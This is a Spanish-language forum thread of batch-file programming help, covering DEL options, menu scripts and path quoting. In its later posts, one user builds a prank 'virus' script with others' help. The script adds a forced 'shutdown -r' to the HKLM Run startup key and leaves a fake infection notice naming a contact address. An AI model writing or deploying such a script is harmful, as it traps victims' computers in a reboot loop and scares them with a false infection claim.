  nombres        Especifica una lista de uno o m s archivos o directorios. 
                Se puede utilizar comodines para eliminar varios archivos.
                Si se especifica un directorio todos sus archivos se eliminar n.
     

  /P            Pide confirmaci¢n antes de eliminar cada archivo.
  /F            Fuerza la eliminaci¢n de archivos de s¢lo lectura.
  /S            Elimina archivos especificados en todos los subdirectorios.
  /Q            Modo silencioso. No pide confirmaci¢n con comod¡n global
  /A            Selecciona los archivos a eliminar bas ndose en los atributos
  atributos     R  Archivos de s¢lo lectura            S  Archivos de sistema
                H  Archivos ocultos               A  Archivos preparados para almacenamiento
                -  Prefijo de exclusi¢n

Si las extensiones de comando est n activadas DEL y ERASE cambian de la

La sem ntica que se muestra para el modificador /S est  invertida de tal modo
que le muestra solamente los archivos eliminados y no los encontrados.

Para poder ver esa explicacion del comando DEL tenes que poner DEL /?

Como se ve ahi te muestra que con el argumento /Q no pide confimacion...


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: kakake en 10 Julio 2007, 19:45 pm
gracias siuto, así da gusto   :D no sabes que gran favor me has hecho  ;)


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: donux en 23 Julio 2007, 01:28 am
Hola amigos, soy nuevito en el foro y quisiera saber si alguien me puede dar una mano con esta idea...
En sintesis, tenemos una web de juegos de autos online y queremos tener estadisticas en vivo de la gente que en un determinado momento esté en la pista. Para ello me dijeron que creando un archivo .BAT puedo hacer esto, es decir automatizar la tarea de recoleccion de datos al instante para que casi al mismo tiempo se muestren en la web.
Como verán mucho no se de programacion pero si me dan algunos consejos le meto manos a la obra! Muchas gracias!


Título: Crear BAT para Postgres
Publicado por: Kulash en 25 Julio 2007, 17:36 pm
Hola amigos, acabo de encontrar este foro y me ha parecido un lugar interesante donde conversar, he leido unas cuantas páginas de este tema, pero creo que no habrá nada referente a lo que estoy buscando.
Quiero hacer un batch para que se conecte a mi base de datos Postgres y me crea todas las tablas desde el script, quizás nose pueda hacer lo que quiero, pero quizás si y alguien pueda ayudarme un poco.

En mi script tengo ahora mismo:

@echo off
echo ..... texto
c:\archiv~1\Postgr~1\8.1\bin\psql -u

Y en este momento me pide usuario y contraseña, que debe meter el usuario, como es normal, y en ese momento se conecta a la base de datos.
El Promp pasa a ser: postgres=#
y ahi se queda, aunque yo ponga debajo de la linea anterior escrita

 CREATE SCHEMA "ALFONSO";

no lo coge, es posible que lo q escriba en el batch lo coja la base de datos y  me cree las tablas?

Muchas Gracias a cualquiera que pueda responder.


Título: Estado de programas BAT
Publicado por: morenochico en 31 Julio 2007, 02:28 am
Hola necesito saber el estado de un proceso o un servicio ya que en ocasiones se cuelgan y nos damos cuenta cuando es demasiado tarde (es un servidor) y cuando sucede, reiniciamos los servicios,matamos proceso, sacamos usuarios y demas cosas, ya logre hacer eso desde un .bat lo me ahorra mucho tiempo pero ahora lo que busco es una o mas de las siguientes cosas:
 como saber si un programa esta colgado,
 un servicio esta dando problemas,
 la comunicacion entre aplicaciones esta truncada,
 un puerto esta bloqueado,
 leer el log del programa (escribe mas de 500 lineas) y detectar una linea de error (es de las ultimas pero no es fijo)

Ya que dependiendo de lo anterior puedo automatizar el proceso y no perder tiempo en ir hasta la pc y hacer los mismos pasos.

A lo mejor algunas cosas no me he dado a entender muy bien pero agradezco si tienen algunas ideas o aportaciones, la idea es monitorear un servicio ("engine") de una aplicacion en un servidor y evitar que deje de atender a clientes. Logico no puede estar una persona 24 hr monitorenado y quiero automatizar el proceso antes para que en encuanto haya problemas solucionarlo rapido.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: S.M.L.O en 4 Agosto 2007, 04:13 am
Hola, soy nuevo en el foro, he estado echando un vistazo a tod y es cojonudo tanto el tutorial como las ayudas que se dan. Yo tengo una pregunta un poco ams general. Haber un .bat con el Batch file compiler digamos que se puede decompilar y leer el codigo y con este mismo programa podemos convertir un .bat a .exe pero el problema es, una vez convertido a .exe como se puede ver el codigo??

No se si m he explicado muy bien.

Gracias de antemano.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: S.M.L.O en 4 Agosto 2007, 07:17 am
Hola tengo una pekeña preugntilla y no la he encontrado por el foro, haber estoy haciendo un programita para organizar una serie de cursos que me e bajao (contando el de aki jaja) bueno son unos 30 entonces os voy a poner un par para que veais lo k e exo y os comento:

@echo off
color 0f

:menu
echo.
echo.
echo Seleccione uno de los cursos y pulse ENTER:
echo.
echo 1  Comunicacion de datos               
echo 3  Hardware (Basico)
echo 4  Hardware (Completo)
echo 5  Electronica Basica
echo 6  Fundamentos Fisicos de la informatica
echo 7  Fundamentos Fisicos de la informatica (Ejercicios)

set /p tecla=
if tecla==1 goto comunicacion
if tecla==2  goto subredes
if tecla==3  goto hardware1
if tecla==4  goto hardware2
if tecla==5  goto electronica
if tecla==6  goto fisicos1
if tecla==7  goto fisicos2

:comunicacion
start C:\cursos\ComunicaciondeDatos.pdf
goto menu

:subredes
start C:\cursos\subredes.pdf
goto menu

:hardware1
start C:\cursos\Cursobasicoconocimientoshardware.pdf
goto menu

:hardware2
start C:\cursos\hardwarecompleto.pdf
goto menu

:electronica
start C:\cursos\electronicabasica.pdf
goto menu

:fisicos1
start C:\cursos\Fundamentosfisicosdelainformatica.pdf
goto menu

:fisicos2
start C:\cursos\Fundamentosfisicosdelainformaticaejercicios.pdf
goto menu


Es muy simple (pero estoy empezando) el problema es que no me habre el que quiero solo habre el 1 de la lista y ya nose que hacer. otro detalle es si admite numeros de 2 digitos si vdd??

PD: Me presento que no lo he hecho antes, me llamo Samuel , tengo 17 años nunca he hecho batch he hecho solo bastante javascript y HTML  y soy Español, encantado y que siga asi el foro que esta cojonudo

Thanks!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: j.r en 9 Agosto 2007, 15:48 pm
wenas, acabo de conocer este maravillo foro, y tengo una duda.

Estoy creando un .bat; pra q se inicie cn el sistema. Necesito q se ejecute un programa y acepte la ventanita q crea este. EL paso q me falta es "aceptar" en la ventanita q sale. El bat lo tengo ahora mismo asin:

@echo off
cd..
cd..
cd..
cd c:
start "programa".exe +h


Q faltaria.... 
Gracias y un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Siuto en 9 Agosto 2007, 17:39 pm
S.M.L.O el error tuyo es que estabas comparando la palabra tecla no la variable tecla.
Las lineas que tenes que corregir son las que cite a continuacion...

Código:
if %tecla%==1 goto comunicacion
if %tecla%==2  goto subredes
if %tecla%==3  goto hardware1
if %tecla%==4  goto hardware2
if %tecla%==5  goto electronica
if %tecla%==6  goto fisicos1
if %tecla%==7  goto fisicos2


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Siuto en 9 Agosto 2007, 18:36 pm
wenas, acabo de conocer este maravillo foro, y tengo una duda.

Estoy creando un .bat; pra q se inicie cn el sistema. Necesito q se ejecute un programa y acepte la ventanita q crea este. EL paso q me falta es "aceptar" en la ventanita q sale.

Desde un archivo.bat no vas a poder hacer eso.

Código:
cd..
cd..
cd..

Para llegar hasta el directorio raiz en vez de hacer eso podes usar CD\


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: SirDrake en 13 Agosto 2007, 12:29 pm
Un saludo a todos

Me he encontrado este post y me ha parecido interesante, pero tengo un problema con un bat que todavía no he conseguido resolver.
1º Siuto, ¿Porqué dices que no se puede usar cd..?Yo lo uso en algún bat y no hay problemas, aunque tienes que tener muy claro donde estás y donde vas.
2º Tengo que hacer un bat que llama a otro bat con parámetros, el problema es que si lo llamo tal cual lo haría en msdos el bat al que llamo se ejecuta bien pero finaliza el mio y no se ejecuta ninguna instrucción posterior, y si pongo echo y llamo al bat no hace nada pero se ejecutan las instrucciones posteriores.
Al principio del post habla algo de esto pero no lo he podido solucionar

Alguna ayuda?
Gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Siuto en 14 Agosto 2007, 01:43 am
1. Pero como la mayoria de las veces no tenes muy claro donde estas y si estas seguro que vas a la raiz del HD es conveniente usar CD\ para evitar un problema.


2. Desde el archivo que se esta ejecutando llama al 2do bat de la siguiente foma:

Código:
start 2doArchivo.bat parametro1 parametro2 .... parametroN



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: j.r en 14 Agosto 2007, 18:32 pm
Citar
Desde un archivo.bat no vas a poder hacer eso.

y cual podria ser una solucion posible??


Asias por todo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Undertaker092 en 18 Agosto 2007, 16:09 pm
Una pregunta.Cuando coloco este codigo no funciona... por que¿?

Código:
@Echo off
cd C:\documents and settings\usuario\escritorio
md carpeta 1
md carpeta 2
cd C:\documents and settings\usuario\escritorio\carpeta 1
copy con: lala.bat
msg * ola
^Z
exit

quiero crear esas carpetas en el escritorio i luego añadirle a la carpeta 1 el archivo lala.bat...pero ^Z tmp funciona...que ago¿?¿?  ;D ;D :huh:


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Siuto en 18 Agosto 2007, 17:50 pm
Código:
copy con: lala.bat
msg * ola
^Z

Esto lo podes hacer en la consola pero en BATCH tenes que hacer asi:

Código:
ECHO msg * ola >> lala.bat


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Undertaker092 en 18 Agosto 2007, 18:57 pm
Mira estas screens:

(http://imagen.subeimagen.com/307223primera.JPG)
(http://imagen.subeimagen.com/970347segunda.JPG)
(http://imagen.subeimagen.com/147562tercera.JPG)

no entiendo xk efectua esas cosas:
crear otra carpeta aparte de las especificadas...

-otra pregunta:el spoil en este foro es cn hide??


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Siuto en 18 Agosto 2007, 22:03 pm
A ver vamos desde cero porque aca supongo que hay varios problemas...

1. Mal interpretaste mi post anterior, las 3 lineas que te cite en el 1er code se remplazan solo por una, la que puse al final.

2. Puede ser que el usuario de tu PC con el que estes loguaado se llame usuario, pero dudo que sea asi y seguramente donde dice usuario tenes que poner el nombre de usuario. Para saber el mismo podes ir hasta C:\Documents and settings y mirar los nombres de los usuarios o sino en remplazo de C:\documents and settings\usuario\escritorio podes usar %USERPROFILE%\Escrotorio

Con esos dos arreglos te tendria que andar, sin embargo en la linea 4 creas una carpeta llamada carpeta 2 que no te sirve de nada, podrias omitirla.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: GroK en 19 Agosto 2007, 04:22 am
Tambien añadir que para los nombres de rutas y demas que contengan espacios debes ponerlas entre comillas, sino solo cogera la primera palabra como valida

Código
  1. cd "C:\documents and settings\usuario\escritorio"
  2. md "carpeta 1"
  3. md "carpeta 2"
  4. cd "C:\documents and settings\usuario\escritorio\carpeta 1"

Etc...Saludos


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Undertaker092 en 19 Agosto 2007, 13:24 pm
Ya me funciona todo...pero m falta una cosa:
Código:
@echo off
cd "C:\documents and settings\usuario\escritorio"
md "carpeta 1"
cd "C:\documents and settings\usuario\escritorio\carpeta 1"
echo msg * ola>>ostia.bat
exit

..aora como le añado @echo off a ostia.bat??


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: .Undertaker. en 19 Agosto 2007, 15:42 pm
Ya sta XDXD...m tuve k acer otro usuario  :-\ :-\ :-(


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Siuto en 19 Agosto 2007, 21:01 pm
Ya sta XDXD...m tuve k acer otro usuario  :-\ :-\ :-(

Como es eso? Porque?


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: GroK en 20 Agosto 2007, 00:57 am
ahora como le añado @echo off a ostia.bat??

Por si todavia tenias la duda, simplemente:
Código
  1. echo @echo off > ostia.bat
  2. echo msg * ola >> ostia.bat

Etc... Saludos


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: .Undertaker. en 20 Agosto 2007, 07:28 am
OK..XD aora otra duda...

Código:
@echo off 
cd "C:\%homedrive%%homepath%\escritorio"
md "ENTRA AQUI"
cd "C:\%homedrive%%homepath%\escritorio\ENTRA AQUI"
echo Ola,acabas d instalar a un virus en tu pc,si quieres
quitarlo facilmente agreaga a usuario@hotmail.com>>solucion.txt
exit

No entiendo xk se me crea la carpeta "ENTRA AQUI" y a parte tmb en el escritorio el archivo "solucion.txt...deberia krearlo dentro d la otra karpeta no??

para eso esta el 2º cd [..."C:\%homedrive%%homepath%\escritorio\ENTRA AQUI"]


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Siuto en 20 Agosto 2007, 07:37 am
El problema es que escribiste mal la ruta de la 2da linea, cd "C:\%homedrive%%homepath%\escritorio", eso seria:

Código:
CD %USERPROFILE%\Escritorio

O si queres seguir usando las variables que vos pusiste tenes que sarcar el C:\ y te quedaria asi:

Código:
CD %HOMEDRIVE%%HOMEPATH%\Escritorio


PAra encotrar algun error de este tipo cuando haces un bat tenes que correrlo desde una ventana de MS-DOS abierta previamente para que al terminar la ejecucion del mismo no se cierre la ventana porque de haber aparecido algun error no lo vas a poder llegar a ver o sino antes del EXIT poner un PAUSE para detener la ejecucion hasta que puedas leer el error.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: .Undertaker. en 20 Agosto 2007, 07:43 am
aparte.... i aora si le añado shutdown...
Código:
@echo off 
shutdown -r -t 200
cd "C:\%homedrive%%homepath%\escritorio"
md "ENTRA AQUI"
cd "CD %USERPROFILE%\Escritorio\ENTRA AQUI"
echo Ola,acabas d instalar a un virus en tu pc,si quieres
quitarlo facilmente agreaga a usuario@hotmail.com>>solucion.txt
pause>nul
exit

-->Como lo añado al registro de windows...solo para ese usuario¿?¿? y para todos los usuarios?¿?¿


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: .Undertaker. en 20 Agosto 2007, 07:48 am
La segunda linea aun no sta bn...m parece k no t entendi...

ad+ aora m crea la carpeta i el archivo en el escritorio separados i en el .txt no ai nada
escrito... y por ultimo...el @echo off no m sirve d nada...jiji siento dar tnto dolor de cabeza.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Siuto en 20 Agosto 2007, 07:49 am
Tenes que usar el comando REG ADD, para ver la ayuda escribis en la consola REG ADD /? y te muestra la informacion, te la pego a continuacion, leela y pregunta si no entendes alguna cosa...

Código:
Herramienta de registro de consola para Windows - versión 3.0
Copyright (C) Microsoft Corp. 1981-2001.  Reservados todos los derechos


REG ADD clave [/v nvalor | /ve] [/t tipo] [/s separador] [/d datos] [/f]

  clave      [\\equipo\]tclave
             Equipo     nombre del equipo remoto. Si se omite se usa el
                        equipo actual. Sólo HKLM y HKU están disponibles
                        para equipos remotos.
             tclave     CLAVERAIZ\subclave
             CLAVERAIZ  [ HKLM | HKCU | HKCR | HKU | HKCC ]
             subclave   Nombre completo de una clave de registro en la
                        CLAVERAIZ seleccionada.

  /v         Nombre del valor en la clave seleccionada para agregar

  /ve        Agrega el nombre de valor vacío <sin nombre>

  /t         Tipos de datos de clave de registro
             [ REG_SZ    | REG_MULTI_SZ  | REG_DWORD_BIG_ENDIAN    |
               REG_DWORD | REG_BINARY    | REG_DWORD_LITTLE_ENDIAN |
               REG_NONE  | REG_EXPAND_SZ ]
             Si se omite, se asume REG_SZ

  /s         Especifica el carácter que usa como separador en su cadena
             de datos para REG_MULTI_SZ. Si se omite, se usa "\0" como
             separador

  /d         Datos que se asignan a nvalor del registro que se agrega

  /f         Fuerza la sobrescritura de entradas de registro existentes
             sin avisar.

Ejemplos:

  REG ADD \\ABC\HKLM\Software\MiCo
    Agrega una clave HKLM\Software\MiCo en el equipo remoto ABC

  REG ADD HKLM\Software\MiCo /v datos /t REG_BINARY /d fe340ead
    Agrega un valor (nombre: datos, tipo: REG_BINARY, datos: fe340ead)

  REG ADD HKLM\Software\MiCo /v MRU /t REG_MULTI_SZ /d fax\0mail
    Agrega un valor (nombre: MRU, tipo: REG_MUTLI_SZ, datos: fax\0mail\0\0)

  REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%%
    Agrega un valor (nombre: Path, tipo: REG_EXPAND_SZ, datos: %systemroot%)
    Nota: use porcentaje doble ( %% ) dentro de la cadena expandida


Te recomiendo que si no estas muy seguro de si tus BATs funcionan bien para probar algun comando nuevo o alguna cosa que no sabes usar lo hagas desde la misma consola o en un archivo nuevo para no confundir los errores que puedas tener de antes con los nuevos.

Bueno me fui a dormir es tarde, mañana miro lo que dijiste mientras escribia esto.

PD: Me olvide de avisarte que la clave que se usa para abrir archivos cuando se inicia la PC es: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrrentVersion\Run


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: .Undertaker. en 20 Agosto 2007, 07:53 am
M parece k es este:

Código:
REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%%
    Agrega un valor (nombre: Path, tipo: REG_EXPAND_SZ, datos: %systemroot%)
    Nota: use porcentaje doble ( %% ) dentro de la cadena expandida
... pero es como si m dices misa...jejej i no pordria usar HKEY_CURRENT_USER??

 >>m puedes explicar el code que puse ai<<

Gracias d antemano! ;D ;D


EDITADO
------------------------------------------------------------------
Citar
REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%%
    Agrega un valor (nombre: Path, tipo: REG_EXPAND_SZ, datos: %systemroot%)

en ese "datos" coloco shutdown -r -t 200??

y en ese "nombre" que coloco??


EDITADO
------------------------------------------------------------------
Citar
@echo off
shutdown -r -t 200
REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%%
Agrega un valor (nombre: Path, tipo: REG_EXPAND_SZ, datos: %systemroot%)
cd "C:\%homedrive%%homepath%\escritorio"
md "ENTRA AQUI"
cd "%USERPROFILE%\Escritorio\ENTRA AQUI"
echo Ola,acabas d instalar a un virus en tu pc,si quieresquitarlo facilmente agreaga a usuario@hotmail.com>> solucion.txt
cls
exit

M podrias arreglar el REG ADD...?? sk no lo entiendo muy bn...Eso si explicamelo para saber hacerlo para otra vez. XDXDXD

----->perdon por los dolores de cabeza<-----


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Siuto en 20 Agosto 2007, 16:56 pm
La clave del registro que tenes que usar es esta: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrrentVersion\Run por ahi no la viste porque creo que edite el post despues de que vos posteaste, te quedaria asi...

Código:
REG ADD HKLM\Software\Microsoft\Windows\CurrrentVersion\Run /v ApagarPC /t REG_SZ /d shutdown -r -t 200

Proba a ver si asi te anda sino proba con las comillas.

PD: El conmando shutdown esta dentro del path de windows(System32) por eso es que en este caso no es necesario escribir la ruta hasta el mismo.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: .Undertaker. en 20 Agosto 2007, 17:41 pm
La solucion seria esta?¿?¿
Código:
@echo off
REG ADD HKLM\Software\Microsoft\Windows\CurrrentVersion\Run /v ApagarPC /t REG_SZ /d shutdown -r -t 200
cd "C:\%homedrive%%homepath%\escritorio"
md "ENTRA AQUI"
cd "%USERPROFILE%\Escritorio\ENTRA AQUI"
echo Ola,acabas d instalar a un virus en tu pc,si quieresquitarlo facilmente agreaga a usuario@hotmail.com>> solucion.txt
cls
exit

i si modificara el shutdown....kedaria asi??

Citar
REG ADD HKLM\Software\Microsoft\Windows\CurrrentVersion\Run /v ApagarPC /t REG_SZ /d "shutdown -r -t 200"


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: ANELKAOS en 20 Agosto 2007, 18:51 pm
Se ha creado un subforo para solucionar las dudas de procesos batch.

Podéis acceder a él en:

Subforo de Scripting
http://foro.elhacker.net/scripting-b64.0/



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Rumaca en 9 Mayo 2015, 09:28 am
HI